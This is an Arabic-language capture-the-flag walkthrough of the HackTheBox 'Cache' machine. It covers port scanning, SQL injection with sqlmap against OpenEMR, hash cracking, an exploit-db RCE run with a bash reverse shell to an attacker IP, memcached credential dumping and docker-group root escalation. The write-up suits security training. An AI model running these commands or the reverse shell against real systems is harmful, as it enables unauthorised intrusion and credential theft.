Summary
 اليوم Cache machine السلام عليكم تم فتح 
 hachthebox ساقوم بمشاركة مقال صغير يتحدث على هذا التحدي السيرفر متاح عبر منصة 
 هي منصة مختصة باختبار الاختراق في البداية نقوم ببعض الفحص المبدئي نجد كلمة سر واسم مستخدم بالاضافة الى دومين نايم مصاب 
 بصلاحية اباشي shell نستغلهما للحصول على sql injection و rce بثغرتين 
 privilege escalation اما في مايخص 
 نكتشف ان اليوزر ينتمي الى مجموعة دوكر نستطيع بذلك الحصول على صلاحيات الروت بكل سهولة
Walkthrough
Reconnaissance
1
nmap نبدا بفحص البورتات باستخدام
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -A 10.10.10.188
Starting Nmap 7.60 ( https://nmap.org ) at 2020-08-21 09:17 CET
Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.33s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (EdDSA)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))                                                                                                      
|_http-server-header: Apache/2.4.29 (Ubuntu)                                                                                                             
|_http-title: Cache                                                                                                                                      
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.04 seconds
نلاحظ وجود 2 بورت 
 80 : الخاص بالويب سيرفر 
 22: الخاص ب ssh 
 لنبدا مع 80 
 
sqli عند تصفح السيرفر نجد هناك مربع تسجيل الدخول نجرب 
لكن لا جدوى الموقع ليس مصاب 
 
Enumeration
نشغل dirb 
 بالامر التالي
 javascript نلاحظ وجود 2 مجلدات
 javascript نلاحظ وجود 2 مجلدات
 و 
 jquery 
 عند فتح المجلد الثاني نجد هناك ملف بداخله كلمة سر و كلمة مستخدم لنحتفظ به ونستمر بالبحث 
password : H@v3_fun 
username : ash

Subdomain Enumeration FUFF
نبحث عن دومين باستخدام 
 ffuf
 
 
 hms وجدنا دومين اسمه
نضع الدومين في ملف 
 /etc/hosts 
1
10.10.10.188    hms.htb
نتصفح الدومين الجديد  بعد البحث في جوجل نجد ان التطبيق الشغال في هذا الدومين مصاب بثغرة الحقن
 بعد البحث في جوجل نجد ان التطبيق الشغال في هذا الدومين مصاب بثغرة الحقن 
</br> وجدنا هذا الفيديو على يوتيوب يشرح هذه الثغرة 
 https://www.youtube.com/watch?v=DJSQ8Pk_7hc 
 نتبع الخطوات كما هو موضح في الفيديو 
 burp نلتقط الريكوست باستخدام برنامج 
نقوم بحفظ الريكوست في ملف  
 
 sqlmap ثم نقوم بالحقن باستخدام 
 sqlmap -r om.req --dbs 
om.req —> الريكوست السابقة 
 --dbs —> عرض قواعد البيانات
 
 
 وجدنا اسم قاعدة البيانات  
 
 لنستخرج الجداول الان sqlmap -r login.req -D openemr --table 
 
-D —> اسم قاعدة البيانات 
–table —> استخراج الجداول 
 الان استخرجنا كل الجداول الان نسحب كلمة السر واليوزر المتواجد في الجدول 
 users_secure 
 sqlmap -r login.req -D openemr -T users_secure --dump

 وجدنا كلمة سر مشفرة
 وجدنا كلمة سر مشفرة 
 john نفك تشفيرها باستخدام برنامج 
1
2
3
4
5
6
7
8
9
10
$ john /tmp/hash -wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx           (?)
1g 0:00:00:00 DONE (2020-08-21 16:12) 3.333g/s 2880p/s 2880c/s 2880C/s caitlin..felipe
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
 xxxxxx حصلنا على كلمة سر
 نجد انها صحيحةopenemr عند تجريبها في
 rce من البحث السابق وجدنا ايضا ان البرنامج مصاب بثغرة ووجدنا ايضا سكريبت الاستغلال نحمله من هنا </br>https://www.exploit-db.com/exploits/45161
 
 
 python 45161.py http://hms.htb/ -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.212/1338 0>&1' 
 الخاص بك ip ضع
 10.10.14.212 :مكان
 الان دخلنا الى السيرفر لكن بصلاحيات اباشي
Privilege Escalation
باستخدام الامر التالي نلاحظ ان البورت 11211 مفتوح 
 netstat -plant 
 memcached هذا البورت خاص ب 
netstat -plant 
لنقم بسحب البيانات 
 telnet عبر memcached نتصل ب
 telnet localhost 11211 
 STAT command نكتب الامر التالي 
-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 30
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 140
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 3205
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END
 ثم stats cachedump 1 0
1
2
3
4
5
6
7
8
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]                                                                                                                                  
END   
حصلنا على اليوزر
1
2
3
4
get user                                                                                                                                       
VALUE user 0 5
luffy
END
حصلنا على كلمة السر
1
2
3
4
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

 ssh حصلنا على اليوزر و كلمة السر لنجرب الاتصال عبر 
 
doker ينتمي الى المجموعة luffy نكتشف ان اليوزر
 gtgobins نذهب الى موقع 
 https://gtfobins.github.io/gtfobins/docker/

1
2
3
luffy@cache:~$ docker images
 REPOSITORY TAG IMAGE ID CREATED SIZE
 ubuntu latest 2ca708c1c9cc 7 months ago 64.2MB
 حصلنا على صلاحيات رووت
 حصلنا على صلاحيات رووت
